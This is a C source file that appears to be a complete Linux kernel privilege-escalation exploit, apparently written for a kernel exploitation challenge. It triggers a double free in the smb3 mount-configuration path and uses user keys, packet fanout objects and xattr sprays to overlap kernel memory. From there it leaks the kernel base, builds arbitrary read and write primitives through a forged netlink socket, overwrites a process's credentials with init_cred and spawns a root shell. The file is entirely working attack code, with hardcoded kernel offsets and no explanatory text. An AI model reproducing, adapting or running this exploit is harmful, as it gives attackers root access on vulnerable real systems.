#define _GNU_SOURCE
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stddef.h>
#include <string.h>
#include <stdbool.h>
#include <stdarg.h>
#include <sched.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/stat.h>
#include <sys/mount.h>
#include <sys/xattr.h>
#include <sys/socket.h>
#include <sys/prctl.h>
#include <sys/wait.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <unistd.h>
#include <keyutils.h>
#include <linux/mount.h>
#include <linux/netlink.h>
#include <linux/if_packet.h>

#define TMPFS_MOUNT_POINT "/tmp/tmpfs_mountpoint"
#define DYN_KMALLOC_192 192
#define DYN_KMALLOC_256 256
#define DYN_KMALLOC_1024 1024
#define OVERWRITE_PACKET_SOCK_FILE_PATH "/tmp/tmpfs_mountpoint/overwrite_packet_sock"
#define FAKE_PACKET_FANOUT_FILE_PATH "/tmp/tmpfs_mountpoint/fake_packet_fanout_and_netlink_sock"
#define FAKE_NETLINK_SOCK_FILE_PATH FAKE_PACKET_FANOUT_FILE_PATH

#define USER_KEY_PAYLOAD_STRUCT_SIZE 24
#define SIMPLE_XATTR_STRUCT_SIZE 32

#define CONFIG_X86_L1_CACHE_SHIFT 6
#define L1_CACHE_SHIFT (CONFIG_X86_L1_CACHE_SHIFT)
#define L1_CACHE_BYTES	(1 << L1_CACHE_SHIFT)
#define SMP_CACHE_BYTES L1_CACHE_BYTES
#define ____cacheline_aligned __attribute__((__aligned__(SMP_CACHE_BYTES)))
#define ____cacheline_aligned_in_smp ____cacheline_aligned

#define EXPLOIT_CPU 0
#define PRIVILEGE_ESCALATION_TASK "mitigation_pwn"
#define PACKET_RCV_FANOUT_OFFSET_FROM_KERNEL_TEXT 0xf0da90
#define SK_DESTRUCT_OFFSET_FROM_NETLINK_SOCK 0x2d0
#define SK_PROTOCOL_OFFSET_FROM_NETLINK_SOCK 0x204
#define SK_SECURITY_OFFSET_FROM_NETLINK_SOCK 0x280
#define GROUPS_OFFSET_FROM_STRUCT_NETLINK_SOCK 0x320
#define NGROUPS_OFFSET_FROM_STRUCT_NETLINK_SOCK 0x31c
#define BOUND_OFFSET_FROM_STRUCT_NETLINK_SOCK 0x350
#define SUBSCRIPTIONS_OFFSET_FROM_STRUCT_NETLINK_SOCK 0x318
#define PORTID_OFFSET_FROM_STRUCT_NETLINK_SOCK 0x308

#define TASKS_OFFSET_FROM_TASK_STRUCT 0x508
#define COMM_OFFSET_FROM_TASK_STRUCT 0x7c0
#define REAL_CRED_OFFSET_FROM_TASK_STRUCT 0x7a8
#define CRED_OFFSET_FROM_TASK_STRUCT 0x7b0
#define FS_OFFSET_FROM_TASK_STRUCT 0x800
#define TASK_COMM_LEN 16

uint64_t kernel_base;
uint64_t init_task = 0x26159c0;
uint64_t init_cred = 0x26618c0;
uint64_t init_fs = 0x279c660;
uint64_t netlink_sock_destruct = 0xce61b0;
int primitive_netlink_socket_fd;
uint64_t netlink_sock_addr;
uint64_t netlink_sock_sk_security_addr;

struct packet_fanout_leak_data {
  uint64_t net_addr;
  uint64_t packet_rcv_fanout_addr;
  uint64_t packet_fanout_addr;
  uint64_t packet_sock_addr;
  uint64_t type;
  uint64_t dev_addr;
};

struct list_head {
  uint64_t next;
  uint64_t prev;
};

struct packet_type {
	uint16_t type;
	uint8_t ignore_outgoing;
	uint64_t dev;
  uint64_t func;
  uint64_t list_func;
  uint64_t id_match;
	uint64_t af_packet_net;
  uint64_t af_packet_priv;
	struct list_head	list;
};

struct packet_fanout {
	uint64_t net;
	uint32_t num_members;
	uint32_t max_num_members;
	uint16_t id;
	uint8_t type;
	uint8_t flags;
	union {
		int32_t rr_cur;
		uint64_t bpf_prog;
	};
	struct list_head	list;
	int32_t	lock;
	int32_t sk_ref;
	struct packet_type prot_hook ____cacheline_aligned_in_smp;
	uint64_t arr[];
};

struct netlink_sock {
  uint8_t buf[1120];
};

static inline void get_full_timesplice(void)
{
  sched_yield();
}

bool pin_on_cpu(int core_id)
{
  cpu_set_t cpuset;
  CPU_ZERO(&cpuset);
  CPU_SET(core_id, &cpuset);
  if (sched_setaffinity(0, sizeof(cpu_set_t), &cpuset) < 0) {
    fprintf(stderr, "pin_on_cpu failed: %s\n", strerror(errno));
    return false;
  }

  return true;
}

bool change_task_comm(const char *name)
{
  if (prctl(PR_SET_NAME, name, NULL, NULL, NULL) < 0) {
    perror("prctl");
    return false;
  }

  return true;
}

bool write_to_file(const char *path, const char *data_fmt, ...)
{
  char *buf = NULL;
  va_list args;
  va_start(args, data_fmt);
  if (vasprintf(&buf, data_fmt, args) < 0) {
    perror("vasprintf");
    return false;
  }

  va_end(args);
  int fd = open(path, O_WRONLY);
  if (fd < 0) {
    fprintf(stderr, "open %s for writing: %s\n", path, strerror(errno));
    free(buf);
    return false;
  }

  write(fd, buf, strlen(buf));
  close(fd);
  free(buf);
  return true;
}

bool create_file(const char *path)
{
  int fd = open(path, O_WRONLY | O_CREAT, 0644);
  if (fd < 0) {
    fprintf(stderr, "create file %s failed: %s\n", path, strerror(errno));
    return false;
  }

  close(fd);
  return true;
}

bool set_if_up(const char *ifname)
{
  int fd = socket(AF_INET, SOCK_DGRAM, 0);
  if (fd < 0) {
    perror("socket");
    return false;
  }

  struct ifreq ifr;
  memset(&ifr, 0, sizeof(ifr));
  strncpy(ifr.ifr_name, ifname, IFNAMSIZ);
  ifr.ifr_flags |= IFF_UP;
  if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0) {
    perror("ioctl-SIOCSIFFLAGS");
    close(fd);
    return false;
  }

  close(fd);
  return true;
}

bool setup_namespace(void)
{
  int real_uid = getuid();
  int real_gid = getgid();

  if (unshare(CLONE_NEWUSER | CLONE_NEWNS | CLONE_NEWIPC | CLONE_NEWNET) < 0) {
    perror("unshare(CLONE_NEWUSER | CLONE_NEWNS | CLONE_NEWIPC)");
    return false;
  }

  if (!write_to_file("/proc/self/setgroups", "deny"))
    return false;

  if (!write_to_file("/proc/self/uid_map", "0 %d 1\n", real_uid))
    return false;

  if (!write_to_file("/proc/self/gid_map", "0 %d 1\n", real_gid))
    return false;

  mkdir(TMPFS_MOUNT_POINT, 0644);
  if (mount("none", TMPFS_MOUNT_POINT, "tmpfs", 0, NULL) < 0) {
    fprintf(stderr, "mount %s(type: tmpfs): %s\n", TMPFS_MOUNT_POINT, strerror(errno));
    return false;
  }

  if (!set_if_up("lo"))
    return false;

  return true;
}

int prepare_double_free(int dyn_kmalloc_size)
{
  if (dyn_kmalloc_size <= 0 || dyn_kmalloc_size > 256)
    return -1;

  int fsfd = syscall(SYS_fsopen, "smb3", 0);
  if (fsfd < 0) {
    fprintf(stderr, "fsopen(smb3) failed: %s\n", strerror(errno));
    return -1;
  }

  char password[256];
  memset(password, 0x1, dyn_kmalloc_size - 1);
  password[dyn_kmalloc_size-1] = 0;
  if (syscall(SYS_fsconfig, fsfd, FSCONFIG_SET_STRING, "password", password, 0) < 0) {
    perror("fsconfig(FSCONFIG_SET_STRING)");
    close(fsfd);
    return -1;
  }

  return fsfd;
}

static inline void trigger_first_free(int fsfd)
{
  syscall(SYS_fsconfig, fsfd, FSCONFIG_SET_STRING, "max_credits", "19", 0);
}

static inline void trigger_second_free(int fsfd)
{
  close(fsfd);
}

key_serial_t user_key_payload_alloc(const char *desc, void *data, int n)
{
  key_serial_t key = add_key("user", desc, data, n, KEY_SPEC_USER_KEYRING);
  if (key < 0) {
    perror("add_key");
    return -1;
  }

  return key;
}

void user_key_payload_free(key_serial_t key)
{
  keyctl_unlink(key, KEY_SPEC_USER_KEYRING);
}

long user_key_payload_read(key_serial_t key, void *buf, int n)
{
  long ret = keyctl_read(key, buf, n);
  if (ret < 0) {
    perror("keyctl_read");
    return -1;
  }

  return ret;
}

int packet_socket_create_and_bind(void)
{
  int fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
  if (fd < 0) {
    perror("socket(AF_PACKET, SOCK_RAW)");
    return -1;
  }

  struct sockaddr_ll addr;
  memset(&addr, 0, sizeof(addr));
  addr.sll_family = AF_PACKET;
  addr.sll_ifindex = if_nametoindex("lo");

  if (bind(fd, (struct sockaddr*)&addr, sizeof(addr)) < 0) {
    perror("bind packet socket at lo interface");
    close(fd);
    return -1;
  }

  return fd;
}

void packet_socket_destroy(int fd)
{
  close(fd);
}

static inline bool packet_fanout_alloc(int packet_socket_fd, uint16_t id, uint32_t max_num_members)
{
  struct fanout_args fanout_args = {
    .type_flags = PACKET_FANOUT_HASH, .id = id, .max_num_members = max_num_members
  };
  
  if (setsockopt(packet_socket_fd, SOL_PACKET, PACKET_FANOUT, &fanout_args, sizeof(fanout_args)) < 0) {
    perror("setsockopt(PACKET_FANOUT)");
    return false;
  }

  return true;
}

bool overlap_user_key_payload_with_packet_fanout(key_serial_t *overlap_key, int *fd)
{
  int packet_socket_fd = packet_socket_create_and_bind();
  if (packet_socket_fd < 0)
    return false;

  int dyn_kmalloc_256_double_free_fsfd = prepare_double_free(DYN_KMALLOC_256);
  if (dyn_kmalloc_256_double_free_fsfd < 0)
    goto err;

  get_full_timesplice();
  trigger_first_free(dyn_kmalloc_256_double_free_fsfd);

  char tmp[256] = {};
  key_serial_t key = user_key_payload_alloc(
    "dyn_kmalloc_256",
    tmp,
    DYN_KMALLOC_192 + 1 - USER_KEY_PAYLOAD_STRUCT_SIZE);

  if (key < 0)
    goto err;

  uint16_t overwrite_user_key_payload_datalen = DYN_KMALLOC_256 - USER_KEY_PAYLOAD_STRUCT_SIZE;
  get_full_timesplice();
  trigger_second_free(dyn_kmalloc_256_double_free_fsfd);

  if (!packet_fanout_alloc(packet_socket_fd, overwrite_user_key_payload_datalen, 1))
    goto err1;

  long size_ret = user_key_payload_read(key, NULL, overwrite_user_key_payload_datalen);
  if (size_ret != overwrite_user_key_payload_datalen) {
    fprintf(stderr, "overlap failed\n");
    goto err1;
  }

  *overlap_key = key;
  *fd = packet_socket_fd;
  return true;

err1:
  user_key_payload_free(key);
err:
  packet_socket_destroy(packet_socket_fd);
  return false;
}

struct packet_fanout_leak_data *leak_packet_fanout(key_serial_t key)
{
  struct packet_fanout_leak_data *result = malloc(sizeof(*result));
  if (!result) {
    perror("malloc packet_fanout_leak_data");
    return NULL;
  }

  uint8_t leak_buf[DYN_KMALLOC_256 - USER_KEY_PAYLOAD_STRUCT_SIZE] = {};
  user_key_payload_read(key, leak_buf, sizeof(leak_buf));

  struct packet_fanout *packet_fanout = (struct packet_fanout*)(leak_buf - USER_KEY_PAYLOAD_STRUCT_SIZE);
  result->net_addr = packet_fanout->prot_hook.af_packet_net;
  result->packet_rcv_fanout_addr = packet_fanout->prot_hook.func;
  result->packet_fanout_addr = packet_fanout->prot_hook.af_packet_priv;
  result->packet_sock_addr = *(packet_fanout->arr);
  result->type = packet_fanout->prot_hook.type;
  result->dev_addr = packet_fanout->prot_hook.dev;
  return result;
}

bool overlap_simple_xattr_payload_with_netlink_sock(int dyn_kmalloc_2048_packet_socket_fd,
  uint64_t packet_sock_addr, uint64_t net)
{
  if (!create_file(FAKE_PACKET_FANOUT_FILE_PATH))
    return false;

  uint64_t fake_packet_fanout_addr = packet_sock_addr + SIMPLE_XATTR_STRUCT_SIZE;
  uint8_t fake_packet_fanout_buffer[DYN_KMALLOC_1024] = {};
  struct packet_fanout *f = (struct packet_fanout*)fake_packet_fanout_buffer;
  f->net = net;
  f->flags = PACKET_FANOUT_HASH;
  f->id = 0xcafe;
  f->max_num_members = 1;
  f->list.prev = fake_packet_fanout_addr + offsetof(struct packet_fanout, list);
  f->list.next = fake_packet_fanout_addr + offsetof(struct packet_fanout, list);
  get_full_timesplice();
  packet_socket_destroy(dyn_kmalloc_2048_packet_socket_fd);
  if (setxattr(FAKE_PACKET_FANOUT_FILE_PATH, "security.fake_packet_fanout", fake_packet_fanout_buffer,
               1024, 0) < 0) {
    fprintf(stderr, "fake packet fanout failed\n");
    return false;
  }

  int build_fake_packet_fanout_list_fd = packet_socket_create_and_bind();
  if (build_fake_packet_fanout_list_fd < 0)
    return false;

  int dyn_kmalloc_256_double_free_fsfd = prepare_double_free(DYN_KMALLOC_256);
  if (dyn_kmalloc_256_double_free_fsfd < 0)
    return false;

  get_full_timesplice();
  trigger_first_free(dyn_kmalloc_256_double_free_fsfd);
  if (!packet_fanout_alloc(build_fake_packet_fanout_list_fd, 0xdead, 1))
    return false;

  uint8_t fake_packet_fanout_list_buf[192] = {};
  struct packet_fanout *f1 = fake_packet_fanout_list_buf - USER_KEY_PAYLOAD_STRUCT_SIZE;
  f1->list.next = fake_packet_fanout_addr + offsetof(struct packet_fanout, list);
  get_full_timesplice();
  trigger_second_free(dyn_kmalloc_256_double_free_fsfd);
  user_key_payload_alloc("fake_packet_fanout_list", fake_packet_fanout_list_buf, 192);

  int trigger_simple_xattr_payload_free_fd = socket(AF_PACKET, SOCK_RAW, 0);
  if (trigger_simple_xattr_payload_free_fd < 0)
    return false;

  struct fanout_args fanout_args = {
    .type_flags = PACKET_FANOUT_HASH,
    .id = 0xcafe,
    .max_num_members = 1
  };

  get_full_timesplice();
  setsockopt(trigger_simple_xattr_payload_free_fd, SOL_PACKET, PACKET_FANOUT, &fanout_args,
    sizeof(fanout_args));

  bool overlap_success = false;
  int retries = 0;
  char netlink_sock_leak_buf[1024] = {};
  while (!overlap_success && retries < 16) {
    primitive_netlink_socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK);
    if (primitive_netlink_socket_fd < 0)
      return false;

    if (getxattr(FAKE_PACKET_FANOUT_FILE_PATH, "security.fake_packet_fanout", netlink_sock_leak_buf, 1024) < 0)
      return false;
    
    uint64_t sk_destruct = *(uint64_t*)(netlink_sock_leak_buf + SK_DESTRUCT_OFFSET_FROM_NETLINK_SOCK);
    uint16_t sk_protocol = *(uint16_t*)(netlink_sock_leak_buf + SK_PROTOCOL_OFFSET_FROM_NETLINK_SOCK);

    //printf("sk_destruct: 0x%016lx\n", sk_destruct);
    //printf("sk_protocol: %d\n", sk_protocol);
    if (sk_protocol == NETLINK_USERSOCK && sk_destruct == netlink_sock_destruct)
      overlap_success = true;
    else
      retries++;
  }

  if (!overlap_success)
    return false;

  netlink_sock_addr = packet_sock_addr + SIMPLE_XATTR_STRUCT_SIZE;
  netlink_sock_sk_security_addr = *(uint64_t*)(netlink_sock_leak_buf + SK_SECURITY_OFFSET_FROM_NETLINK_SOCK);
  //printf("[+] netlink_sock_addr: 0x%016lx\n", netlink_sock_addr);
  //printf("[+] netlink_sock_sk_security_addr: 0x%016lx\n", netlink_sock_sk_security_addr);

  char netlink_sock_fake_buf[1024] = {};
  get_full_timesplice();
  removexattr(FAKE_PACKET_FANOUT_FILE_PATH, "security.fake_packet_fanout");
  setxattr(FAKE_NETLINK_SOCK_FILE_PATH, "security.fake_netlink_sock", netlink_sock_fake_buf, 1024, 0);
  return true;
}

void *abr_read(uint64_t addr, int bytes)
{
  if (bytes % sizeof(uint32_t) != 0)
    bytes += sizeof(uint32_t) - (bytes % sizeof(uint32_t));

  void *result = malloc(bytes);
  if (!result) {
    perror("malloc");
    return NULL;
  }

  uint8_t fake_netlink_sock_buf[1024] = {};
  struct netlink_sock *nlk = (struct netlink_sock*)fake_netlink_sock_buf; 
  *(uint64_t*)(nlk->buf + GROUPS_OFFSET_FROM_STRUCT_NETLINK_SOCK) = addr;
  *(uint32_t*)(nlk->buf + NGROUPS_OFFSET_FROM_STRUCT_NETLINK_SOCK) = bytes * 8;
  *(uint64_t*)(nlk->buf + SK_SECURITY_OFFSET_FROM_NETLINK_SOCK) = netlink_sock_sk_security_addr;

  get_full_timesplice();
  removexattr(FAKE_NETLINK_SOCK_FILE_PATH, "security.fake_netlink_sock");
  setxattr(FAKE_NETLINK_SOCK_FILE_PATH, "security.fake_netlink_sock", fake_netlink_sock_buf, 1024, 0);
  getsockopt(primitive_netlink_socket_fd, SOL_NETLINK, NETLINK_LIST_MEMBERSHIPS, result, &bytes);
  return result;
}

void abr_write(uint64_t addr, uint32_t val)
{
  uint8_t fake_netlink_sock_buf[1024] = {};
  struct netlink_sock *nlk = (struct netlink_sock*)fake_netlink_sock_buf;
  *(uint32_t*)(nlk->buf + NGROUPS_OFFSET_FROM_STRUCT_NETLINK_SOCK) = 0xFFFFFFFF;
  *(uint16_t*)(nlk->buf + SK_PROTOCOL_OFFSET_FROM_NETLINK_SOCK) = NETLINK_ROUTE;
  *(uint8_t*)(nlk->buf + BOUND_OFFSET_FROM_STRUCT_NETLINK_SOCK) = 1;
  *(uint64_t*)(nlk->buf + GROUPS_OFFSET_FROM_STRUCT_NETLINK_SOCK) = addr;
  *(uint64_t*)(nlk->buf + SK_SECURITY_OFFSET_FROM_NETLINK_SOCK) = netlink_sock_sk_security_addr;
  *(uint32_t*)(nlk->buf + SUBSCRIPTIONS_OFFSET_FROM_STRUCT_NETLINK_SOCK) = 33;
  *(uint32_t*)(nlk->buf + PORTID_OFFSET_FROM_STRUCT_NETLINK_SOCK) = 1234;

  get_full_timesplice();
  removexattr(FAKE_NETLINK_SOCK_FILE_PATH, "security.fake_netlink_sock");
  setxattr(FAKE_NETLINK_SOCK_FILE_PATH, "security.fake_netlink_sock", fake_netlink_sock_buf, 1024, 0);
  struct sockaddr_nl trigger_write_addr;
  memset(&addr, 0, sizeof(addr));
  trigger_write_addr.nl_family = AF_NETLINK;
  trigger_write_addr.nl_pid = 1234;
  trigger_write_addr.nl_groups = val;
  bind(primitive_netlink_socket_fd, (struct sockaddr*)&trigger_write_addr, sizeof(trigger_write_addr));
}

void *read_task_struct(uint64_t task_struct_addr, int from_offset, int bytes)
{
  return abr_read(task_struct_addr + from_offset, bytes);
}

uint64_t find_task_by_name(const char *name)
{
  struct list_head *tasks = NULL;
  tasks = abr_read(init_task + TASKS_OFFSET_FROM_TASK_STRUCT, sizeof(struct list_head));
  uint64_t current_task = tasks->prev - TASKS_OFFSET_FROM_TASK_STRUCT;

  while (current_task != init_task) {
    void *leak = abr_read(current_task + TASKS_OFFSET_FROM_TASK_STRUCT,
      COMM_OFFSET_FROM_TASK_STRUCT - TASKS_OFFSET_FROM_TASK_STRUCT + TASK_COMM_LEN);
    char *comm = leak + (COMM_OFFSET_FROM_TASK_STRUCT - TASKS_OFFSET_FROM_TASK_STRUCT);
    if (strcmp(comm, name) == 0)
      return current_task;

    tasks = leak;
    current_task = tasks->prev - TASKS_OFFSET_FROM_TASK_STRUCT;
  }

  return 0;
}

void do_privilege_escalation(uint64_t task_struct_addr)
{
  abr_write(task_struct_addr + REAL_CRED_OFFSET_FROM_TASK_STRUCT, init_cred);
  abr_write(task_struct_addr + REAL_CRED_OFFSET_FROM_TASK_STRUCT + 4, init_cred >> 32);
  abr_write(task_struct_addr + CRED_OFFSET_FROM_TASK_STRUCT, init_cred);
  abr_write(task_struct_addr + CRED_OFFSET_FROM_TASK_STRUCT + 4, init_cred >> 32);
  abr_write(task_struct_addr + FS_OFFSET_FROM_TASK_STRUCT, init_fs);
  abr_write(task_struct_addr + FS_OFFSET_FROM_TASK_STRUCT + 4, init_fs >> 32);
}

void sigusr1_handler(int unused)
{
  return;
}

void wait_for_root_and_spawn_shell(int wait_fd)
{
  if (!change_task_comm(PRIVILEGE_ESCALATION_TASK))
    return;

  int w;
  read(wait_fd, &w, sizeof(int));
  char *sh_args[] = {"sh", NULL};
  execve("/bin/sh", sh_args, NULL);
}

void wake_child_and_get_root_shell(int wake_fd)
{
  int w;
  write(wake_fd, &w, sizeof(int));
  wait(NULL);
}

int create_escalation_process(void)
{
  int wake_pipe[2];
  if (pipe(wake_pipe) < 0) {
    perror("pipe");
    return -1;
  }

  int pid = fork();
  if (pid < 0) {
    perror("fork");
    return -1;
  }

  if (pid == 0) {
    wait_for_root_and_spawn_shell(wake_pipe[0]);
    fprintf(stderr, "shouldn't happened\n");
    exit(1);
  }

  return wake_pipe[1];
}

int main(int argc, char *argv[])
{
  int wake_fd = create_escalation_process();
  if (wake_fd < 0)
    return EXIT_FAILURE;

  sleep(1);

  if (!pin_on_cpu(EXPLOIT_CPU))
    return EXIT_FAILURE;

  if (!setup_namespace())
    return EXIT_FAILURE;

  int packet_socket_fd;
  key_serial_t packet_fanout_key;
  while (!overlap_user_key_payload_with_packet_fanout(&packet_fanout_key, &packet_socket_fd)) {
    ;
  }

  struct packet_fanout_leak_data *leak = leak_packet_fanout(packet_fanout_key);

  /*
  printf("sock: 0x%016lx\n", leak->packet_sock_addr);
  printf("packet_rcv_fanout: 0x%016lx\n", leak->packet_rcv_fanout_addr);
  printf("packet_fanout: 0x%016lx\n", leak->packet_fanout_addr);
  printf("net: 0x%016lx\n", leak->net_addr);
  printf("type: 0x%016lx\n", leak->type);
  printf("dev: 0x%016lx\n", leak->dev_addr);
  */
  
  kernel_base = leak->packet_rcv_fanout_addr - PACKET_RCV_FANOUT_OFFSET_FROM_KERNEL_TEXT;
  init_task += kernel_base;
  init_cred += kernel_base;
  init_fs += kernel_base;
  netlink_sock_destruct += kernel_base;

  /*
  printf("[+] kernel base: 0x%016lx\n", kernel_base);
  printf("[+] init_task: 0x%016lx\n", init_task);
  printf("[+] init_cred: 0x%016lx\n", init_cred);
  printf("[+] init_fs: 0x%016lx\n", init_fs);
  printf("[+] netlink_sock_destruct: 0x%016lx\n", netlink_sock_destruct);
  */

  while (!overlap_simple_xattr_payload_with_netlink_sock(packet_socket_fd, leak->packet_sock_addr,
         leak->net_addr)) {
    ;
  }

  uint64_t privilege_escalation_task = find_task_by_name(PRIVILEGE_ESCALATION_TASK);
  //printf("[+] privilege_escalation_task: 0x%016lx\n", privilege_escalation_task);
  do_privilege_escalation(privilege_escalation_task);
  wake_child_and_get_root_shell(wake_fd);
}
